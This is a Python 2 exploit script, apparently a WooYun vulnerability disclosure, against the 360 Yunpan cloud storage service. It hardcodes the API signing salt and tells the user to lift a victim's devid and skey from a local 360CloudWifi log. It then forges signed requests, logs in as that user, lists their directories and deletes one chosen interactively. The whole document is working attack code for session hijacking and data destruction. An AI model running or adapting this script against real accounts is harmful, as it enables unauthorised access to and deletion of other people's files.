WooYun.org

#coding=utf-8
import urllib
import urllib2
import hashlib
from xml.dom import minidom
getconf_url = "http://w.yunpan.360.cn/intf.php";
login_url = "http://w%s.yunpan.360.cn/intf.php?method=WifiUser.login&qid=%s&devtype=Wifi&v=&devid=%s&devname=&rtick=6198368&sign=%s&"
detail_url = "http://api%s.yunpan.360.cn/intf.php?method=User.getUserDetail&qid=%s&devtype=Wifi&v=1.0.0.1030&devid=%s&devname=&rtick=6211423";
getfile_url = "http://api%s.yunpan.360.cn/intf.php?method=File.getAllNodesV2&qid=%s&devtype=Wifi&v=1.0.0.1030&devid=%s&devname=&rtick=5350229";
delfile_url = "http://api%s.yunpan.360.cn/intf.php?method=File.delete&qid=%s&devtype=Wifi&v=1.0.0.1050&devid=%s&devname=&rtick=11609065";
###请将这两个值改成file://C:\Users\用户名\AppData\Roaming\360CloudWifi\expuser.log中的devid和skey
###上面的日志如下 /start /devid=xxxxxxxxxxxxxxxxx /skey=bbbbbbbbbbbbb
key = {'skey':'aaaaaaaa'} 
devid = "bbbbbbbbbbbbbbbbbbbbbbb"
getConf = {
	'method':'WifiUser.getConfig',
	'qid':'',
	'devtype':'Wifi',
	'devid': devid,
	'devname':'',
	'rtick':'2529285',
	'v':'',
	'sign':''
};
userLogin = {
	'method':'WifiUser.login',
	'qid':'',
	'devtype':'Wifi',
	'devid':devid,
	'devname':'',
	'rtick':'6198368',
	'v':'',
	'sign':''
};
def getcontent(page, name):
	i = page.find(name+"=")
	mylen = len(page)
	j = i+4
	left = -1;
	if(i!=-1):
		for k in range(j, len(page)-1):
			if(page[k]=='"'and left==-1):
				left=k+1;
			elif(page[k]=='"' and left>0):
				right=k
				break;
	if(left!=-1):
		return page[left:right]
	
def ksort(d):
	result="";
	for k in sorted(d.keys()):
		if k!='sign':
			result=result+k+'='+d[k]
	#print result
	return result
def getsign(data):
	salt='243dcc291a9d8f31e21c9c580cfdce64'
	data1=ksort(data)
	data1 = data1+salt
	sign = hashlib.md5(data1).hexdigest()
	#print "sign is "+sign
	return sign
def signurl(url):
	paramlist = url.split("?")
	params = paramlist[1]
	pv = params.split("&")
	data = {}
	for k in pv:
		p = k.split("=")
		data[p[0]] = p[1]
	return getsign(data)
	
	
def login(cid, qid, key):
	userLogin['qid']=qid;
	sign = getsign(userLogin);
	userLogin['sign'] = sign;
	login_url1 = login_url%(cid, qid, devid, sign)
	req = urllib2.Request(login_url1);
	req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')
	req.add_header('Cookie', urllib.urlencode(key))
	response = urllib2.urlopen(req);
	page = response.read()
	token = getcontent(page,"token")
	return token
def detail(cid, qid, devid, token):
	detail1 = detail_url%(cid,qid, devid)
	sign = signurl(detail1)
	detail1 = detail1+"&sign="+sign+"&ofmt=xml&pid=&";
	req = urllib2.Request(detail1);
	req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')
	req.add_header('Cookie', "token="+token)
	response = urllib2.urlopen(req);
	page = response.read()
	
	
def getAllFile(cid, qid, devid, token):
	getfile = getfile_url%(cid, qid, devid)
	sign = signurl(getfile)
	getfile = getfile+"&sign="+sign+"&ofmt=xml&pid=&";
	req = urllib2.Request(getfile)
	req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')
	req.add_header('Cookie', "token="+token+";count=1000")
	response = urllib2.urlopen(req);
	page = response.read()
	data = parseFile(page)
	return data
	
	
def deleteFile(cid, qid, devid, token, fname):
	delfile = delfile_url%(cid, qid, devid)
	sign = signurl(delfile)
	delfile = delfile + "&sign="+sign+"&ofmt=xml&pid=home&"
	req = urllib2.Request(delfile)
	req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')
	req.add_header('Cookie', "token="+token+";fname=/"+fname+"/")
	response = urllib2.urlopen(req);
	page = response.read()
	print page
	
	
def parseFile(page):
	doc = minidom.parseString(page)
	root = doc.documentElement
	dir_infos = root.getElementsByTagName("dir_info");
	
	i = 0;
	data = {}
	print "directory in the safe 360 yunpan: "
	for node in dir_infos:
		pid = node.getAttribute("pid")
		if pid=="0":
			print i
			print ":"
			print node.getAttribute("fname")
			data[i] = node.getAttribute("fname")
			i=i+1
	return data
	
'''	
proxy_handler = urllib2.ProxyHandler({'http': '127.0.0.1:8081'})
opener = urllib2.build_opener(proxy_handler)				
urllib2.install_opener(opener) '''
sign = getsign(getConf);
getConf['sign']=sign
req = urllib2.Request(getconf_url+"?"+urllib.urlencode(getConf));
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')
req.add_header('Cookie', urllib.urlencode(key)) 
response = urllib2.urlopen(req);
page = response.read()
cid = getcontent(page, "cid")
qid = getcontent(page, "qid")
token = login(cid, qid, key)
data = getAllFile(cid, qid, devid, token)
i = int(input("which do you want to delete? better choose an english name directory input the number:   "))
deleteFile(cid, qid, devid, token, data[i])